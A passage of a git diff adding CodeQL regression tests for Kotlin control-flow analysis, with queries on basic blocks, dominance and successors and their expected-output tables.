+import default
+
+from BasicBlock b, int i, ControlFlowNode n
+where
+  b.getNode(i) = n and
+  b.getFile().(CompilationUnit).fromSource()
+select b, i, n
diff --git a/java/ql/test/kotlin/library-tests/controlflow/basic/bbStrictDominance.expected b/java/ql/test/kotlin/library-tests/controlflow/basic/bbStrictDominance.expected
new file mode 100644
index 00000000000..cb050d72f96
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/controlflow/basic/bbStrictDominance.expected
@@ -0,0 +1,57 @@
+| Test.kt:4:13:79:2 | { ... } | Test.kt:4:2:79:2 | test |
+| Test.kt:4:13:79:2 | { ... } | Test.kt:11:3:16:3 | ... -> ... |
+| Test.kt:4:13:79:2 | { ... } | Test.kt:11:14:14:3 | { ... } |
+| Test.kt:4:13:79:2 | { ... } | Test.kt:18:3:18:3 | <Expr>; |
+| Test.kt:4:13:79:2 | { ... } | Test.kt:21:3:24:9 | ... -> ... |
+| Test.kt:4:13:79:2 | { ... } | Test.kt:22:4:22:4 | <Expr>; |
+| Test.kt:4:13:79:2 | { ... } | Test.kt:30:15:33:3 | { ... } |
+| Test.kt:4:13:79:2 | { ... } | Test.kt:35:3:35:3 | <Expr>; |
+| Test.kt:4:13:79:2 | { ... } | Test.kt:38:9:38:9 | x |
+| Test.kt:4:13:79:2 | { ... } | Test.kt:38:16:41:3 | { ... } |
+| Test.kt:4:13:79:2 | { ... } | Test.kt:43:3:43:3 | <Expr>; |
+| Test.kt:18:3:18:3 | <Expr>; | Test.kt:4:2:79:2 | test |
+| Test.kt:18:3:18:3 | <Expr>; | Test.kt:21:3:24:9 | ... -> ... |
+| Test.kt:18:3:18:3 | <Expr>; | Test.kt:22:4:22:4 | <Expr>; |
+| Test.kt:18:3:18:3 | <Expr>; | Test.kt:30:15:33:3 | { ... } |
+| Test.kt:18:3:18:3 | <Expr>; | Test.kt:35:3:35:3 | <Expr>; |
+| Test.kt:18:3:18:3 | <Expr>; | Test.kt:38:9:38:9 | x |
+| Test.kt:18:3:18:3 | <Expr>; | Test.kt:38:16:41:3 | { ... } |
+| Test.kt:18:3:18:3 | <Expr>; | Test.kt:43:3:43:3 | <Expr>; |
+| Test.kt:22:4:22:4 | <Expr>; | Test.kt:30:15:33:3 | { ... } |
+| Test.kt:22:4:22:4 | <Expr>; | Test.kt:35:3:35:3 | <Expr>; |
+| Test.kt:22:4:22:4 | <Expr>; | Test.kt:38:9:38:9 | x |
+| Test.kt:22:4:22:4 | <Expr>; | Test.kt:38:16:41:3 | { ... } |
+| Test.kt:22:4:22:4 | <Expr>; | Test.kt:43:3:43:3 | <Expr>; |
+| Test.kt:35:3:35:3 | <Expr>; | Test.kt:38:9:38:9 | x |
+| Test.kt:35:3:35:3 | <Expr>; | Test.kt:38:16:41:3 | { ... } |
+| Test.kt:35:3:35:3 | <Expr>; | Test.kt:43:3:43:3 | <Expr>; |
+| Test.kt:38:9:38:9 | x | Test.kt:38:16:41:3 | { ... } |
+| Test.kt:38:9:38:9 | x | Test.kt:43:3:43:3 | <Expr>; |
+| Test.kt:82:21:89:1 | { ... } | Test.kt:82:1:89:1 | t1 |
+| Test.kt:82:21:89:1 | { ... } | Test.kt:84:3:84:18 | x |
+| Test.kt:82:21:89:1 | { ... } | Test.kt:86:4:88:2 | catch (...) |
+| Test.kt:91:22:98:1 | { ... } | Test.kt:91:1:98:1 | t2 |
+| Test.kt:91:22:98:1 | { ... } | Test.kt:93:3:93:13 | x |
+| Test.kt:91:22:98:1 | { ... } | Test.kt:95:4:97:2 | catch (...) |
+| Test.kt:100:25:110:1 | { ... } | Test.kt:100:1:110:1 | fn |
+| Test.kt:100:25:110:1 | { ... } | Test.kt:101:22:101:22 | y |
+| Test.kt:100:25:110:1 | { ... } | Test.kt:101:33:103:5 | { ... } |
+| Test.kt:100:25:110:1 | { ... } | Test.kt:105:5:109:5 | <Expr>; |
+| Test.kt:100:25:110:1 | { ... } | Test.kt:105:20:107:5 | { ... } |
+| Test.kt:100:25:110:1 | { ... } | Test.kt:107:16:109:5 | ... -> ... |
+| Test.kt:100:25:110:1 | { ... } | Test.kt:107:27:109:5 | { ... } |
+| Test.kt:101:22:101:22 | y | Test.kt:101:33:103:5 | { ... } |
+| Test.kt:105:5:109:5 | <Expr>; | Test.kt:105:20:107:5 | { ... } |
+| Test.kt:105:5:109:5 | <Expr>; | Test.kt:107:16:109:5 | ... -> ... |
+| Test.kt:105:5:109:5 | <Expr>; | Test.kt:107:27:109:5 | { ... } |
+| Test.kt:107:16:109:5 | ... -> ... | Test.kt:107:27:109:5 | { ... } |
+| Test.kt:112:32:116:1 | { ... } | Test.kt:112:1:116:1 | fn |
+| Test.kt:112:32:116:1 | { ... } | Test.kt:113:14:113:14 | y |
+| Test.kt:112:32:116:1 | { ... } | Test.kt:113:17:115:5 | { ... } |
+| Test.kt:113:14:113:14 | y | Test.kt:113:17:115:5 | { ... } |
+| Test.kt:118:37:124:1 | { ... } | Test.kt:118:1:124:1 | fn_when |
+| Test.kt:118:37:124:1 | { ... } | Test.kt:121:9:121:9 | <Expr>; |
+| Test.kt:118:37:124:1 | { ... } | Test.kt:122:12:122:16 | ... -> ... |
+| Test.kt:118:37:124:1 | { ... } | Test.kt:123:8:123:10 | { ... } |
+| Test.kt:121:9:121:9 | <Expr>; | Test.kt:118:1:124:1 | fn_when |
+| Test.kt:121:9:121:9 | <Expr>; | Test.kt:123:8:123:10 | { ... } |
diff --git a/java/ql/test/kotlin/library-tests/controlflow/basic/bbStrictDominance.ql b/java/ql/test/kotlin/library-tests/controlflow/basic/bbStrictDominance.ql
new file mode 100644
index 00000000000..9765b8e6cc5
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/controlflow/basic/bbStrictDominance.ql
@@ -0,0 +1,6 @@
+import default
+import semmle.code.java.controlflow.Dominance
+
+from BasicBlock b, BasicBlock b2
+where bbStrictlyDominates(b, b2)
+select b, b2
diff --git a/java/ql/test/kotlin/library-tests/controlflow/basic/bbSuccessor.expected b/java/ql/test/kotlin/library-tests/controlflow/basic/bbSuccessor.expected
new file mode 100644
index 00000000000..e7451de4e06
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/controlflow/basic/bbSuccessor.expected
@@ -0,0 +1,44 @@
+| Test.kt:4:13:79:2 | { ... } | Test.kt:11:3:16:3 | ... -> ... |
+| Test.kt:4:13:79:2 | { ... } | Test.kt:11:14:14:3 | { ... } |
+| Test.kt:11:3:16:3 | ... -> ... | Test.kt:18:3:18:3 | <Expr>; |
+| Test.kt:11:14:14:3 | { ... } | Test.kt:18:3:18:3 | <Expr>; |
+| Test.kt:18:3:18:3 | <Expr>; | Test.kt:21:3:24:9 | ... -> ... |
+| Test.kt:18:3:18:3 | <Expr>; | Test.kt:22:4:22:4 | <Expr>; |
+| Test.kt:21:3:24:9 | ... -> ... | Test.kt:4:2:79:2 | test |
+| Test.kt:22:4:22:4 | <Expr>; | Test.kt:30:15:33:3 | { ... } |
+| Test.kt:22:4:22:4 | <Expr>; | Test.kt:35:3:35:3 | <Expr>; |
+| Test.kt:30:15:33:3 | { ... } | Test.kt:35:3:35:3 | <Expr>; |
+| Test.kt:35:3:35:3 | <Expr>; | Test.kt:38:9:38:9 | x |
+| Test.kt:38:9:38:9 | x | Test.kt:38:16:41:3 | { ... } |
+| Test.kt:38:9:38:9 | x | Test.kt:43:3:43:3 | <Expr>; |
+| Test.kt:38:16:41:3 | { ... } | Test.kt:38:9:38:9 | x |
+| Test.kt:43:3:43:3 | <Expr>; | Test.kt:4:2:79:2 | test |
+| Test.kt:82:21:89:1 | { ... } | Test.kt:84:3:84:18 | x |
+| Test.kt:82:21:89:1 | { ... } | Test.kt:86:4:88:2 | catch (...) |
+| Test.kt:84:3:84:18 | x | Test.kt:82:1:89:1 | t1 |
+| Test.kt:86:4:88:2 | catch (...) | Test.kt:82:1:89:1 | t1 |
+| Test.kt:91:22:98:1 | { ... } | Test.kt:93:3:93:13 | x |
+| Test.kt:91:22:98:1 | { ... } | Test.kt:95:4:97:2 | catch (...) |
+| Test.kt:93:3:93:13 | x | Test.kt:91:1:98:1 | t2 |
+| Test.kt:95:4:97:2 | catch (...) | Test.kt:91:1:98:1 | t2 |
+| Test.kt:100:25:110:1 | { ... } | Test.kt:101:22:101:22 | y |
+| Test.kt:100:25:110:1 | { ... } | Test.kt:105:5:109:5 | <Expr>; |
+| Test.kt:101:22:101:22 | y | Test.kt:101:33:103:5 | { ... } |
+| Test.kt:101:22:101:22 | y | Test.kt:105:5:109:5 | <Expr>; |
+| Test.kt:101:33:103:5 | { ... } | Test.kt:100:1:110:1 | fn |
+| Test.kt:105:5:109:5 | <Expr>; | Test.kt:105:20:107:5 | { ... } |
+| Test.kt:105:5:109:5 | <Expr>; | Test.kt:107:16:109:5 | ... -> ... |
+| Test.kt:105:20:107:5 | { ... } | Test.kt:100:1:110:1 | fn |
+| Test.kt:107:16:109:5 | ... -> ... | Test.kt:100:1:110:1 | fn |
+| Test.kt:107:16:109:5 | ... -> ... | Test.kt:107:27:109:5 | { ... } |
+| Test.kt:107:27:109:5 | { ... } | Test.kt:100:1:110:1 | fn |
+| Test.kt:112:32:116:1 | { ... } | Test.kt:112:1:116:1 | fn |
+| Test.kt:112:32:116:1 | { ... } | Test.kt:113:14:113:14 | y |
+| Test.kt:113:14:113:14 | y | Test.kt:112:1:116:1 | fn |
+| Test.kt:113:14:113:14 | y | Test.kt:113:17:115:5 | { ... } |
+| Test.kt:113:17:115:5 | { ... } | Test.kt:112:1:116:1 | fn |
+| Test.kt:118:37:124:1 | { ... } | Test.kt:121:9:121:9 | <Expr>; |
+| Test.kt:118:37:124:1 | { ... } | Test.kt:122:12:122:16 | ... -> ... |
+| Test.kt:121:9:121:9 | <Expr>; | Test.kt:118:1:124:1 | fn_when |
+| Test.kt:121:9:121:9 | <Expr>; | Test.kt:123:8:123:10 | { ... } |
+| Test.kt:123:8:123:10 | { ... } | Test.kt:118:1:124:1 | fn_when |
diff --git a/java/ql/test/kotlin/library-tests/controlflow/basic/bbSuccessor.ql b/java/ql/test/kotlin/library-tests/controlflow/basic/bbSuccessor.ql
new file mode 100644
index 00000000000..1d464c2a31a
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/controlflow/basic/bbSuccessor.ql
@@ -0,0 +1,5 @@
+import default
+
+from BasicBlock b, BasicBlock b2
+where b.getABBSuccessor() = b2
+select b, b2
diff --git a/java/ql/test/kotlin/library-tests/controlflow/basic/getASuccessor.expected b/java/ql/test/kotlin/library-tests/controlflow/basic/getASuccessor.expected
new file mode 100644
index 00000000000..e01e9134312
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/controlflow/basic/getASuccessor.expected
@@ -0,0 +1,262 @@
+missingSuccessor
+| Test.kt:122:12:122:16 | false |
+#select
+| Test.kt:0:0:0:0 | TestKt | Class | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:3:1:80:1 | Test | Class | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:3:1:80:1 | super(...) | SuperConstructorInvocationStmt | Test.kt:3:8:80:1 | { ... } | BlockStmt |
+| Test.kt:3:1:80:1 | { ... } | BlockStmt | Test.kt:3:1:80:1 | super(...) | SuperConstructorInvocationStmt |
+| Test.kt:3:8:80:1 | Test | Constructor | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:3:8:80:1 | { ... } | BlockStmt | Test.kt:3:8:80:1 | Test | Constructor |
+| Test.kt:4:2:79:2 | Unit | TypeAccess | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:4:2:79:2 | test | Method | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:4:13:79:2 | { ... } | BlockStmt | Test.kt:5:3:5:16 | var ...; | LocalVariableDeclStmt |
+| Test.kt:5:3:5:16 | int x | LocalVariableDecl | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:5:3:5:16 | var ...; | LocalVariableDeclStmt | Test.kt:5:16:5:16 | 0 | IntegerLiteral |
+| Test.kt:5:3:5:16 | x | LocalVariableDeclExpr | Test.kt:6:3:6:18 | var ...; | LocalVariableDeclStmt |
+| Test.kt:5:16:5:16 | 0 | IntegerLiteral | Test.kt:5:3:5:16 | x | LocalVariableDeclExpr |
+| Test.kt:6:3:6:18 | long y | LocalVariableDecl | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:6:3:6:18 | var ...; | LocalVariableDeclStmt | Test.kt:6:17:6:18 | 50 | LongLiteral |
+| Test.kt:6:3:6:18 | y | LocalVariableDeclExpr | Test.kt:7:3:7:16 | var ...; | LocalVariableDeclStmt |
+| Test.kt:6:17:6:18 | 50 | LongLiteral | Test.kt:6:3:6:18 | y | LocalVariableDeclExpr |
+| Test.kt:7:3:7:16 | int z | LocalVariableDecl | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:7:3:7:16 | var ...; | LocalVariableDeclStmt | Test.kt:7:16:7:16 | 0 | IntegerLiteral |
+| Test.kt:7:3:7:16 | z | LocalVariableDeclExpr | Test.kt:8:3:8:16 | var ...; | LocalVariableDeclStmt |
+| Test.kt:7:16:7:16 | 0 | IntegerLiteral | Test.kt:7:3:7:16 | z | LocalVariableDeclExpr |
+| Test.kt:8:3:8:16 | int w | LocalVariableDecl | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:8:3:8:16 | var ...; | LocalVariableDeclStmt | Test.kt:8:16:8:16 | 0 | IntegerLiteral |
+| Test.kt:8:3:8:16 | w | LocalVariableDeclExpr | Test.kt:11:3:16:3 | <Expr>; | ExprStmt |
+| Test.kt:8:16:8:16 | 0 | IntegerLiteral | Test.kt:8:3:8:16 | w | LocalVariableDeclExpr |
+| Test.kt:11:3:16:3 | ... -> ... | WhenBranch | Test.kt:11:3:16:3 | true | BooleanLiteral |
+| Test.kt:11:3:16:3 | ... -> ... | WhenBranch | Test.kt:11:7:11:7 | x | VarAccess |
+| Test.kt:11:3:16:3 | <Expr>; | ExprStmt | Test.kt:11:3:16:3 | when ... | WhenExpr |
+| Test.kt:11:3:16:3 | true | BooleanLiteral | Test.kt:14:10:16:3 | { ... } | BlockStmt |
+| Test.kt:11:3:16:3 | when ... | WhenExpr | Test.kt:11:3:16:3 | ... -> ... | WhenBranch |
+| Test.kt:11:7:11:7 | x | VarAccess | Test.kt:11:11:11:11 | 0 | IntegerLiteral |
+| Test.kt:11:7:11:11 | ... > ... | GTExpr | Test.kt:11:3:16:3 | ... -> ... | WhenBranch |
+| Test.kt:11:7:11:11 | ... > ... | GTExpr | Test.kt:11:14:14:3 | { ... } | BlockStmt |
+| Test.kt:11:11:11:11 | 0 | IntegerLiteral | Test.kt:11:7:11:11 | ... > ... | GTExpr |
+| Test.kt:11:14:14:3 | { ... } | BlockStmt | Test.kt:12:4:12:4 | <Expr>; | ExprStmt |
+| Test.kt:12:4:12:4 | <Expr>; | ExprStmt | Test.kt:12:8:12:9 | 20 | LongLiteral |
+| Test.kt:12:4:12:4 | y | VarAccess | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:12:4:12:9 | ...=... | AssignExpr | Test.kt:13:4:13:4 | <Expr>; | ExprStmt |
+| Test.kt:12:8:12:9 | 20 | LongLiteral | Test.kt:12:4:12:9 | ...=... | AssignExpr |
+| Test.kt:13:4:13:4 | <Expr>; | ExprStmt | Test.kt:13:8:13:9 | 10 | IntegerLiteral |
+| Test.kt:13:4:13:4 | z | VarAccess | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:13:4:13:9 | ...=... | AssignExpr | Test.kt:18:3:18:3 | <Expr>; | ExprStmt |
+| Test.kt:13:8:13:9 | 10 | IntegerLiteral | Test.kt:13:4:13:9 | ...=... | AssignExpr |
+| Test.kt:14:10:16:3 | { ... } | BlockStmt | Test.kt:15:4:15:4 | <Expr>; | ExprStmt |
+| Test.kt:15:4:15:4 | <Expr>; | ExprStmt | Test.kt:15:8:15:9 | 30 | LongLiteral |
+| Test.kt:15:4:15:4 | y | VarAccess | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:15:4:15:9 | ...=... | AssignExpr | Test.kt:18:3:18:3 | <Expr>; | ExprStmt |
+| Test.kt:15:8:15:9 | 30 | LongLiteral | Test.kt:15:4:15:9 | ...=... | AssignExpr |
+| Test.kt:18:3:18:3 | <Expr>; | ExprStmt | Test.kt:18:7:18:7 | 0 | IntegerLiteral |
+| Test.kt:18:3:18:3 | z | VarAccess | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:18:3:18:7 | ...=... | AssignExpr | Test.kt:21:3:24:9 | <Expr>; | ExprStmt |
+| Test.kt:18:7:18:7 | 0 | IntegerLiteral | Test.kt:18:3:18:7 | ...=... | AssignExpr |
+| Test.kt:21:3:24:9 | ... -> ... | WhenBranch | Test.kt:21:3:24:9 | true | BooleanLiteral |
+| Test.kt:21:3:24:9 | ... -> ... | WhenBranch | Test.kt:21:6:21:6 | x | VarAccess |
+| Test.kt:21:3:24:9 | <Expr>; | ExprStmt | Test.kt:21:3:24:9 | when ... | WhenExpr |
+| Test.kt:21:3:24:9 | true | BooleanLiteral | Test.kt:24:4:24:9 | INSTANCE | VarAccess |
+| Test.kt:21:3:24:9 | when ... | WhenExpr | Test.kt:21:3:24:9 | ... -> ... | WhenBranch |
+| Test.kt:21:6:21:6 | x | VarAccess | Test.kt:21:10:21:10 | 0 | IntegerLiteral |
+| Test.kt:21:6:21:10 | ... < ... | LTExpr | Test.kt:21:3:24:9 | ... -> ... | WhenBranch |
+| Test.kt:21:6:21:10 | ... < ... | LTExpr | Test.kt:22:4:22:4 | <Expr>; | ExprStmt |
+| Test.kt:21:10:21:10 | 0 | IntegerLiteral | Test.kt:21:6:21:10 | ... < ... | LTExpr |
+| Test.kt:22:4:22:4 | <Expr>; | ExprStmt | Test.kt:22:8:22:9 | 40 | LongLiteral |
+| Test.kt:22:4:22:4 | y | VarAccess | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:22:4:22:9 | ...=... | AssignExpr | Test.kt:27:3:27:3 | <Expr>; | ExprStmt |
+| Test.kt:22:8:22:9 | 40 | LongLiteral | Test.kt:22:4:22:9 | ...=... | AssignExpr |
+| Test.kt:24:4:24:9 | INSTANCE | VarAccess | Test.kt:24:4:24:9 | return ... | ReturnStmt |
+| Test.kt:24:4:24:9 | return ... | ReturnStmt | Test.kt:4:2:79:2 | test | Method |
+| Test.kt:27:3:27:3 | <Expr>; | ExprStmt | Test.kt:27:7:27:8 | 10 | IntegerLiteral |
+| Test.kt:27:3:27:3 | z | VarAccess | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:27:3:27:8 | ...=... | AssignExpr | Test.kt:30:3:33:3 | <Expr>; | ExprStmt |
+| Test.kt:27:7:27:8 | 10 | IntegerLiteral | Test.kt:27:3:27:8 | ...=... | AssignExpr |
+| Test.kt:30:3:33:3 | ... -> ... | WhenBranch | Test.kt:30:7:30:7 | x | VarAccess |
+| Test.kt:30:3:33:3 | <Expr>; | ExprStmt | Test.kt:30:3:33:3 | when ... | WhenExpr |
+| Test.kt:30:3:33:3 | when ... | WhenExpr | Test.kt:30:3:33:3 | ... -> ... | WhenBranch |
+| Test.kt:30:7:30:7 | x | VarAccess | Test.kt:30:12:30:12 | 0 | IntegerLiteral |
+| Test.kt:30:7:30:12 | ... (value equals) ... | ValueEQExpr | Test.kt:30:15:33:3 | { ... } | BlockStmt |
+| Test.kt:30:7:30:12 | ... (value equals) ... | ValueEQExpr | Test.kt:35:3:35:3 | <Expr>; | ExprStmt |
+| Test.kt:30:12:30:12 | 0 | IntegerLiteral | Test.kt:30:7:30:12 | ... (value equals) ... | ValueEQExpr |
+| Test.kt:30:15:33:3 | { ... } | BlockStmt | Test.kt:31:4:31:4 | <Expr>; | ExprStmt |
+| Test.kt:31:4:31:4 | <Expr>; | ExprStmt | Test.kt:31:8:31:9 | 60 | LongLiteral |
+| Test.kt:31:4:31:4 | y | VarAccess | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:31:4:31:9 | ...=... | AssignExpr | Test.kt:32:4:32:4 | <Expr>; | ExprStmt |
+| Test.kt:31:8:31:9 | 60 | LongLiteral | Test.kt:31:4:31:9 | ...=... | AssignExpr |
+| Test.kt:32:4:32:4 | <Expr>; | ExprStmt | Test.kt:32:8:32:9 | 10 | IntegerLiteral |
+| Test.kt:32:4:32:4 | z | VarAccess | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:32:4:32:9 | ...=... | AssignExpr | Test.kt:35:3:35:3 | <Expr>; | ExprStmt |
+| Test.kt:32:8:32:9 | 10 | IntegerLiteral | Test.kt:32:4:32:9 | ...=... | AssignExpr |
+| Test.kt:35:3:35:3 | <Expr>; | ExprStmt | Test.kt:35:7:35:8 | 20 | IntegerLiteral |
+| Test.kt:35:3:35:3 | z | VarAccess | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:35:3:35:8 | ...=... | AssignExpr | Test.kt:38:3:41:3 | while (...) | WhileStmt |
+| Test.kt:35:7:35:8 | 20 | IntegerLiteral | Test.kt:35:3:35:8 | ...=... | AssignExpr |
+| Test.kt:38:3:41:3 | while (...) | WhileStmt | Test.kt:38:9:38:9 | x | VarAccess |
+| Test.kt:38:9:38:9 | x | VarAccess | Test.kt:38:13:38:13 | 0 | IntegerLiteral |
+| Test.kt:38:9:38:13 | ... > ... | GTExpr | Test.kt:38:16:41:3 | { ... } | BlockStmt |
+| Test.kt:38:9:38:13 | ... > ... | GTExpr | Test.kt:43:3:43:3 | <Expr>; | ExprStmt |
+| Test.kt:38:13:38:13 | 0 | IntegerLiteral | Test.kt:38:9:38:13 | ... > ... | GTExpr |
+| Test.kt:38:16:41:3 | { ... } | BlockStmt | Test.kt:39:4:39:4 | <Expr>; | ExprStmt |
+| Test.kt:39:4:39:4 | <Expr>; | ExprStmt | Test.kt:39:8:39:9 | 10 | LongLiteral |
+| Test.kt:39:4:39:4 | y | VarAccess | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:39:4:39:9 | ...=... | AssignExpr | Test.kt:40:4:40:6 | <Expr>; | ExprStmt |
+| Test.kt:39:8:39:9 | 10 | LongLiteral | Test.kt:39:4:39:9 | ...=... | AssignExpr |
+| Test.kt:40:4:40:4 | <Expr>; | ExprStmt | Test.kt:40:4:40:6 | tmp0 | VarAccess |
+| Test.kt:40:4:40:4 | x | VarAccess | Test.kt:40:4:40:6 | tmp0 | LocalVariableDeclExpr |
+| Test.kt:40:4:40:4 | x | VarAccess | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:40:4:40:6 | ...=... | AssignExpr | Test.kt:40:4:40:6 | <Expr>; | ExprStmt |
+| Test.kt:40:4:40:6 | <Expr>; | ExprStmt | Test.kt:40:4:40:6 | <Stmt> | StmtExpr |
+| Test.kt:40:4:40:6 | <Expr>; | ExprStmt | Test.kt:40:4:40:6 | tmp0 | VarAccess |
+| Test.kt:40:4:40:6 | <Stmt> | StmtExpr | Test.kt:40:4:40:6 | { ... } | BlockStmt |
+| Test.kt:40:4:40:6 | <implicit coercion to unit> | ImplicitCoercionToUnitExpr | Test.kt:38:9:38:9 | x | VarAccess |
+| Test.kt:40:4:40:6 | Unit | TypeAccess | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:40:4:40:6 | dec(...) | MethodAccess | Test.kt:40:4:40:6 | ...=... | AssignExpr |
+| Test.kt:40:4:40:6 | int tmp0 | LocalVariableDecl | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:40:4:40:6 | tmp0 | LocalVariableDeclExpr | Test.kt:40:4:40:4 | <Expr>; | ExprStmt |
+| Test.kt:40:4:40:6 | tmp0 | VarAccess | Test.kt:40:4:40:6 | <implicit coercion to unit> | ImplicitCoercionToUnitExpr |
+| Test.kt:40:4:40:6 | tmp0 | VarAccess | Test.kt:40:4:40:6 | dec(...) | MethodAccess |
+| Test.kt:40:4:40:6 | var ...; | LocalVariableDeclStmt | Test.kt:40:4:40:4 | x | VarAccess |
+| Test.kt:40:4:40:6 | { ... } | BlockStmt | Test.kt:40:4:40:6 | var ...; | LocalVariableDeclStmt |
+| Test.kt:43:3:43:3 | <Expr>; | ExprStmt | Test.kt:43:7:43:8 | 30 | IntegerLiteral |
+| Test.kt:43:3:43:3 | z | VarAccess | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:43:3:43:8 | ...=... | AssignExpr | Test.kt:73:3:73:3 | <Expr>; | ExprStmt |
+| Test.kt:43:7:43:8 | 30 | IntegerLiteral | Test.kt:43:3:43:8 | ...=... | AssignExpr |
+| Test.kt:73:3:73:3 | <Expr>; | ExprStmt | Test.kt:73:7:73:8 | 50 | IntegerLiteral |
+| Test.kt:73:3:73:3 | z | VarAccess | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:73:3:73:8 | ...=... | AssignExpr | Test.kt:77:3:77:3 | <Expr>; | ExprStmt |
+| Test.kt:73:7:73:8 | 50 | IntegerLiteral | Test.kt:73:3:73:8 | ...=... | AssignExpr |
+| Test.kt:77:3:77:3 | <Expr>; | ExprStmt | Test.kt:77:7:77:8 | 40 | IntegerLiteral |
+| Test.kt:77:3:77:3 | w | VarAccess | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:77:3:77:8 | ...=... | AssignExpr | Test.kt:78:3:78:8 | INSTANCE | VarAccess |
+| Test.kt:77:7:77:8 | 40 | IntegerLiteral | Test.kt:77:3:77:8 | ...=... | AssignExpr |
+| Test.kt:78:3:78:8 | INSTANCE | VarAccess | Test.kt:78:3:78:8 | return ... | ReturnStmt |
+| Test.kt:78:3:78:8 | return ... | ReturnStmt | Test.kt:4:2:79:2 | test | Method |
+| Test.kt:82:1:89:1 | int | TypeAccess | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:82:1:89:1 | t1 | Method | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:82:8:82:13 | Object | TypeAccess | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:82:8:82:13 | o | Parameter | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:82:21:89:1 | { ... } | BlockStmt | Test.kt:83:2:88:2 | try ... | TryStmt |
+| Test.kt:83:2:88:2 | try ... | TryStmt | Test.kt:83:6:86:2 | { ... } | BlockStmt |
+| Test.kt:83:6:86:2 | { ... } | BlockStmt | Test.kt:84:3:84:18 | var ...; | LocalVariableDeclStmt |
+| Test.kt:84:3:84:18 | int x | LocalVariableDecl | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:84:3:84:18 | var ...; | LocalVariableDeclStmt | Test.kt:84:11:84:11 | o | VarAccess |
+| Test.kt:84:3:84:18 | x | LocalVariableDeclExpr | Test.kt:85:10:85:10 | 1 | IntegerLiteral |
+| Test.kt:84:11:84:11 | o | VarAccess | Test.kt:84:11:84:18 | (...)... | CastExpr |
+| Test.kt:84:11:84:18 | (...)... | CastExpr | Test.kt:84:3:84:18 | x | LocalVariableDeclExpr |
+| Test.kt:84:11:84:18 | (...)... | CastExpr | Test.kt:86:4:88:2 | catch (...) | CatchClause |
+| Test.kt:84:11:84:18 | int | TypeAccess | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:85:3:85:10 | return ... | ReturnStmt | Test.kt:82:1:89:1 | t1 | Method |
+| Test.kt:85:10:85:10 | 1 | IntegerLiteral | Test.kt:85:3:85:10 | return ... | ReturnStmt |
+| Test.kt:86:4:88:2 | catch (...) | CatchClause | Test.kt:86:11:86:31 | e | LocalVariableDeclExpr |
+| Test.kt:86:11:86:31 | ClassCastException | TypeAccess | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:86:11:86:31 | ClassCastException e | LocalVariableDecl | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:86:11:86:31 | e | LocalVariableDeclExpr | Test.kt:86:34:88:2 | { ... } | BlockStmt |
+| Test.kt:86:34:88:2 | { ... } | BlockStmt | Test.kt:87:10:87:10 | 2 | IntegerLiteral |
+| Test.kt:87:3:87:10 | return ... | ReturnStmt | Test.kt:82:1:89:1 | t1 | Method |
+| Test.kt:87:10:87:10 | 2 | IntegerLiteral | Test.kt:87:3:87:10 | return ... | ReturnStmt |
+| Test.kt:91:1:98:1 | int | TypeAccess | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:91:1:98:1 | t2 | Method | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:91:8:91:14 | Object | TypeAccess | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:91:8:91:14 | o | Parameter | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:91:22:98:1 | { ... } | BlockStmt | Test.kt:92:2:97:2 | try ... | TryStmt |
+| Test.kt:92:2:97:2 | try ... | TryStmt | Test.kt:92:6:95:2 | { ... } | BlockStmt |
+| Test.kt:92:6:95:2 | { ... } | BlockStmt | Test.kt:93:3:93:13 | var ...; | LocalVariableDeclStmt |
+| Test.kt:93:3:93:13 | Object x | LocalVariableDecl | file://:0:0:0:0 | <none> | <none> |
+| Test.kt:93:3:93:13 | var ...; | LocalVariableDeclStmt | Test.kt:93:11:93:11 | o | VarAccess |
+| Test.kt:93:3:93:13 | x | LocalVariableDeclExpr | Test.kt:94:10:94:10 | 1 | IntegerLiteral |
+| Test.kt:93:11:93:11 | o | VarAccess | Test.kt:93:12:93:13 | ...!! | NotNullExpr |
+| Test.kt:93:12:93:13 | ...!! | NotNullExpr | Test.kt:93:3:93:13 | x | LocalVariableDeclExpr |
+| Test.kt:93:12:93:13 | ...!! | NotNullExpr | Test.kt:95:4:97:2 | catch (...) | CatchClause |
+| Test.kt:94:3:94:10 | return ... | ReturnStmt | Test.kt:91:1:98:1 | t2 | Method |
+| Test.kt:94:10:94:10 | 1 | IntegerLiteral | Test.kt:94:3:94:10 | return ... | ReturnStmt |
